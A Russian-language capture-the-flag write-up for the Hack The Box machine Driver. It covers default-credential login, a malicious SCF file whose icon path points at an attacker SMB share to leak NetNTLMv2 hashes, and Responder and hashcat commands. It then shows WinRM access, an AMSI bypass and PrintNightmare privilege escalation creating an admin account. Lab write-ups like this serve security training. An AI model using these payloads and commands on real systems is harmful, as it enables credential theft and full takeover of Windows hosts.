Хакер - HTB Driver. Эксплуатируем PrintNightmare и делаем вредоносный SCF
hacker_frei
RalfHacker
Содержание статьи
- Разведка. Сканирование портов
- Точка входа
- Утечка хеша NTLM
- Локальное повышение привилегий
Сегодня мы с тобой разберем уязвимость PrintNightmare, которая позволяет повысить привилегии в Windows через баг в системе печати (CVE-2021-1675). Также мы сделаем вредоносный файл SCF, который поможет нам получить NTLM-хеш пароля пользователя.
Все это — чтобы пройти простую по уровню сложности машину Driver с площадки Hack The Box.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ
Для удобства добавляем IP-адрес машины в /etc/hosts:
10.10.11.106 driver.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Находим четыре открытых порта:
- 80 (HTTP) — веб‑сервер Microsoft IIS/10.0;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций контроллер — контроллер и контроллер — клиент;
- 445 — служба SMB;
- 5985 — этот порт отвечает за службу удаленного управления WinRM.
Первым делом я попытался бегло взглянуть на SMB. Целью было понять, что эта служба может дать. Узнать это можно короткой командой smbmap -H driver.htb, на что получим однозначный ответ — [!] Authentication error on driver.htb. Значит, SMB можно пока пропустить — без авторизации здесь ловить нечего. С WinRM на данном этапе нам может помочь только брут, а при решении машин с HTB это не комильфо. Так что идем смотреть веб.

Недолго думая, вводим несколько распространенных сочетаний дефолтных логинов и паролей. Первое же сочетание admin:admin открывает нам главную страницу сайта.

После осмотра сайта останавливаемся на единственной «живой» странице Firmware Updates, на которой есть форма загрузки файла.

ТОЧКА ВХОДА
Первым делом я попытался загрузить исполняемые файлы .exe, но это не принесло ровным счетом ничего. Но есть и другие форматы файлов, которые позволят выполнить определенные операции, хоть их и ограниченное количество. Один из таких форматов — SCF (shell command files). Файлы SCF можно использовать для операций вроде «Свернуть все окна» или «Открыть проводник Windows». А еще файл SCF может использоваться для доступа к определенному пути UNC, что может привести к утечке пользовательского хеша NetNTLMv2. Это произойдет, потому что Windows попытается аутентифицироваться на этом общем ресурсе, используя имя и пароль пользователя.
Утечка хеша NTLM
Попробуем это проэксплуатировать. Сначала создадим файл SCF @test.scf со следующим содержимым (@ позволит поместить файл вверху списка файлов в каталоге, в данном случае это необязательно).
[Shell]
Command=2
IconFile=\\10.10.14.53\share\ralf.ico
[Taskbar]
Command=ToggleDesktop
Этот файл должен свернуть все окна, это определяет параметр Command в директиве [Taskbar]. Но это нам не важно, так как хитрость кроется в другом: в директиве [Shell] параметр IconFile указывает UNC-путь к иконке файла. Именно это и заставит удаленный хост попытаться авторизоваться на нашем ресурсе.
Получить аутентификационные данные целевого пользователя при подключении к нашему SMB-ресурсу мы можем с помощью Responder. Давай активируем наш «отлавливатель», а затем загрузим упомянутый файл.
sudo responder -I tun0

И получаем желанный хеш, который теперь нужно поломать. Я для этих целей обычно использую hashcat, но этой программе нужно указать тип хеша. К счастью, в справке уже все указано и нам нужно лишь найти подходящий номер. Для этого мы отображаем пример всех видов хешей и отбираем тот, где встречается NetNTLMv2.
hashcat --example | grep -A 2 -B 2 NTLM

Мы узнаем режим: 5600. К тому же нам показывают хеш, который визуально по структуре похож на тот, что мы получили в Responder. А теперь пришло время этот хеш перебрать. Для перебора будем использовать все тот же hashcat со следующими аргументами:
-a 0— режим перебора, нулевой означает по словарю;-m []— режим, тут указываем тип хеша, полученный ранее;ksven.hash— файл, в котором записан хеш или хеши;rockyou.txt— словарь с возможными паролями.
hashcat -a 0 -m 5600 tony.hash rockyou.txt

В итоге hashcat очень быстро находит пароль. Мы можем сразу же проверить его в службах WinRM и SMB с помощью crackmapexec.
crackmapexec winrm driver.htb -u tony -p liltony

Учетные данные подошли к службе WinRM, поэтому мы получаем стабильный доступ. Для доступа будем использовать оболочку Evil-WinRM.
evil-winrm -i driver.htb -u tony -p liltony

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
У нас есть флаг пользователя, так что теперь наша задача — заполучить администраторские привилегии. Первым делом можно проверить информацию о системе (команда systeminfo) и о текущем пользователе (whoami /all), а также получить список запущенных процессов (команды tasklist или ps).

В системе работает процесс службы печати spoolsv.exe. Служба Windows Print Spooler — это универсальный интерфейс между ОС, приложениями и локальными или сетевыми принтерами. Она позволяет разработчикам приложений отправлять задания на печать. Проверить ее работу можно и через службу RPC удаленно:
rpcdump.py @driver.htb | egrep 'MS-RPRN|MS-PAR'

На ум сразу приходит недавняя нашумевшая уязвимость CVE-2021-1675, она же PrintNightmare. Баг кроется в вызове RpcAddPrinterDriver диспетчера очереди печати Windows. Клиент использует вызов RPC для добавления драйвера на сервер, сохраняя его в локальном или удаленном каталоге SMB. После чего клиент инициализирует объект DRIVER_CONTAINER, используемый в вызове RpcAddPrinterDriver, для загрузки драйвера. Драйвер может содержать произвольный код, который будет выполняться на сервере с правами SYSTEM. Команду может выполнить любой пользователь, прошедший аутентификацию в службе диспетчера очереди печати. Проще говоря, имея минимальные привилегии, мы можем выполнить любую DLL от имени SYSTEM.
Также о PrintNightmare
- В сеть просочился эксплоит для опасной проблемы PrintNightmare в Windows
- Проблема PrintNightmare получила новый CVE-идентификатор, но не патч
- Microsoft выпустила внеплановый патч для уязвимости PrintNightmare
- Microsoft заявляет, что патч для PrintNightmare работает корректно
- Вымогательские группировки взяли на вооружение эксплоиты для PrintNightmare
- Microsoft исправляет 0-day в MSHTML и остаточные проблемы PrintNightmare
На GitHub уже достаточно эксплоитов для этой уязвимости, реализованных на разных языках и выполняющих разные функции. К примеру, есть эксплоит, который создаст нового пользователя‑администратора. Скачаем его на локальный хост и из каталога с эксплоитом повторим подключение с помощью Evil-WinRM. Только в этот раз будем указывать параметр -s, что поможет нам легко загрузить в память скрипт на PowerShell.
evil-winrm -i driver.htb -u tony -p liltony -s .
После подключения лучше вызвать команду menu и запатчить AMSI командой Bypass-4MSI.

Затем загружаем скрипт в память и вызываем единственную функцию Invoke-Nightmare.
Invoke-Nightmare -NewUser "ralf" -NewPassword "ralf"

Подключаемся с учетными данными нового пользователя и забираем флаг администратора.

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei